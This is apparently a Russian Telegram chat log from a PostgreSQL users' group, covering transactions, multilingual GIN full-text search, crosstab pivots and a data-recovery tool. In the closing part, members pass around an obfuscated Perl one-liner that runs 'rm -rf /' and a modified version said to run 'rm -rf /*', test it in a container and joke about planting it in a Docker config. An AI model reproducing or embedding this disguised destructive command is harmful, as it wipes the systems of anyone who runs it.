
Rinat
29.12.2016
08:30:52

Vladislav
29.12.2016
08:31:10

Rinat
29.12.2016
08:32:49
вроде написал про одно, а получилось уже 2 действия )

Google

Vladislav
29.12.2016
08:33:49
Сделать тому, кто специалист

Аггей
29.12.2016
08:34:22
не советовал удалять?
Проверьте, что select выбирает нужное предварительно. Вас просто хотели предостеречь от необдуманных действий и рекомендовали предохраняться транзакциями

Rinat
29.12.2016
08:34:45
Предохраняться - это вообще разумно))

Аггей
29.12.2016
08:35:21

Rinat
29.12.2016
08:35:34
Но вот вроде как раз и обозначил, что не спец и транзакции вообще не знаком. Но в любом случае я не пошел бы удалять без проверки, а те ли данные выдает ))

Pavel
29.12.2016
09:31:57
Подскажите плз как добится использования GIN индеска в многоязычном контексте? типо: item.vector @@ to_tsquery(item.language, 'some | keywords')?

Alex
29.12.2016
09:52:40
частичные индексы ?

Pavel
29.12.2016
09:55:47
стандартных языков 2 десятка - новые записи не будет ли дороговато обходится?

Arthur
29.12.2016
09:58:47
вы можете сделать несколько полнотекстовых конфигураций и добавить колонку item.language типа regconfig. И соответственно при добавлении строки в таблицу указывать используемую конфигурацию в item.language.

Pavel
29.12.2016
10:00:21
так собственно и сделано, но при подобном критерии индекс не используется так как необходимо рендерить tsquery для каждой строки с учётом её языка
таблица: http://dpaste.com/28HTAWQ план: https://explain.depesz.com/s/9ojO
с конкретным языком работает корректно: https://explain.depesz.com/s/7sgK

Google

Айтуар
29.12.2016
10:02:54
Вопрос: почему при ресторе бекапа не восстанавливаются extensions ? Ресторю от пользователя с правами суперузера.

Yury
29.12.2016
10:04:05
а что делать если ты не знаешь какой язык в строке или там они намешаны?
лично моя боль, тексты где намешаны Английский, Русский и Японский иногда в равной степени.
для японского к слову полнотекстного поиска из коробки нету, надо сторонии модули ставить с двуграммами.

Pavel
29.12.2016
10:07:41
Yury: моя задача проще, я с большой вероятностью знаю язык (а иногда и несколько языков) для конкретного текста, и количество строк в таблице у меня будет соответствовать количеству языков + simple

Vladimir
29.12.2016
15:19:21
Привет, а можно ли превратить таблицу:
count | accounting_company_id | subscription_plan_id
-------+-----------------------+----------------------
2 | 1 | 2
1 | 1 | 1
В
- | subscription Plan #1 | subscription Plan #2
-------+-----------------------+----------------------
AccountingCompany #1 | 1 | 2

Andrey
29.12.2016
15:21:11
Планов фиксированное количество?
Если нет, то только через pivot
Советую тут посмотреть: https://www.postgresql.org/docs/9.6/static/tablefunc.html (crosstab)
Если планов немного, то проще через case() сделать.

Vladimir
29.12.2016
15:24:40
Планы динамические
За crosstab спасибо

Vadim
29.12.2016
17:04:50

Denis
29.12.2016
17:40:30

Айтуар
29.12.2016
17:54:20

blkmrkt
29.12.2016
18:52:56
Ну короче вот, надеюсь что это конец всей истории https://github.com/kaivi/pg_ripper
Данные с двух таблиц уже вытащил, утилита все еще работает с остальными.
Надеюсь кому-нибудь пригодится.

Quet
29.12.2016
18:55:14
а зачем ты бинарники на гитхаб залил?

blkmrkt
29.12.2016
18:55:35
да и для себя - wget Ctrl+v, и запускаешь с сервера

Quet
29.12.2016
18:56:04
даже если кто-то делает
один несчастный исходник на 300 строк и куча бинарников

Google

Quet
29.12.2016
18:56:07
как-то не очень

blkmrkt
29.12.2016
18:56:30
ну не знаю, может кто покажет как нужно хостить бинарники

nietzschebrod
29.12.2016
18:56:43
я тут видел как другие креденшелы баз данных своих в гитхаб заливают

blkmrkt
29.12.2016
18:56:58

Quet
29.12.2016
18:57:08
никак, если человек умудрился поставить себе netbsd на arm, уж как-то собрать из исходников сможет

blkmrkt
29.12.2016
18:58:30
а точно, в releases можно бинарники загружать

Alexander
29.12.2016
20:48:15
мне бы на такое терпения не хватило, думаю
это ведь всё со времён того сломавшегося рейда идёт?

blkmrkt
29.12.2016
20:51:39

Petr
30.12.2016
02:41:40
releases

Yury
30.12.2016
09:46:43
я бы поболяся бинарником пользоваться

Alexandre
30.12.2016
10:00:18
почему?

Darafei
30.12.2016
10:29:15
он же не подписанный
непонятно, кого бить, если что

Yury
30.12.2016
10:29:42
я не знаю что там написано
вдруг троян
или rm -rf /*

Robert
30.12.2016
10:31:41
ну запускать от пользователя значит

Google

Fike
30.12.2016
10:31:56
ну, я и контент постгреса не знаю

Michael
30.12.2016
10:38:30
классика
https://www.linux.org.ru/forum/development/392747
на всякий случай, НЕ запускайте то что там написано

Аггей
30.12.2016
10:55:06
root@perl:~# cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|{;;y; -/:-@[-{-};`-{/" -;;s;;$_;see'
cat: test... test... test...: No such file or directory
rm: it is dangerous to operate recursively on ‘/’
rm: use —no-preserve-root to override this failsafe
Современные ос рулят

Andrey
30.12.2016
10:56:31
Это не ядро, это coreutils

Sergey
30.12.2016
10:56:34
это не ядра, а coreutils
?

Michael
30.12.2016
10:56:46
:)

Аггей
30.12.2016
10:57:03
Может быть. В Centos 6 нет такой защиты )
Однако, rm -rf /* робит
Кто перепишет перл под rm -rf /* ?

Sergey
30.12.2016
10:57:47

Аггей
30.12.2016
10:58:17
Это да. Я про то, что наивно защищать только от rm -rf /

Michael
30.12.2016
10:58:53

Sergey
30.12.2016
10:59:22

Аггей
30.12.2016
11:01:55
Контейнер после rm -rf /* не стопается ))

Sergey
30.12.2016
11:02:50
открытые файлы же не анлинкаются сразу
зато новое запустить ничего не сможешь

Alexandr
30.12.2016
11:28:53
ребята, с наступающим

Google

Alexandr
30.12.2016
11:29:03
бяда: PSQLException: ОШИБКА: допустимое число элементов в целевом списке ограничено 1644
в какую сторону смотреть?

Alexander
30.12.2016
13:19:29
'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|^{;;y;^ -/:-@[-{-};*`-{/" -;;s;;$_;see'
такая строчка будет делать rm -rf /*
кто проверит? )

Michael
30.12.2016
13:21:11

Аггей
30.12.2016
13:22:05
Я проверю
Мне контейнеров не жалко

Тигран
30.12.2016
13:22:47
закомить потом в конфиг докера, чтоб при развертывании запускалось :)

Аггей
30.12.2016
13:26:40
Я старомоден - lxc )
root@rmrf:~# perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|^{;;y;^ -/:-@[-{-};*`-{/" -;;s;;$_;see';
Ambiguous range in transliteration operator at -e line 1.

Alexander
30.12.2016
13:28:40
Телеграм может отформатировал строку

Аггей
30.12.2016
13:29:32
ps.tmpc.ru

Alexander
30.12.2016
13:30:14
я сейчас с телефона и некогда проверять
http://ps.tmpc.ru/2bf7d5bf

Аггей
30.12.2016
14:06:21
Робит!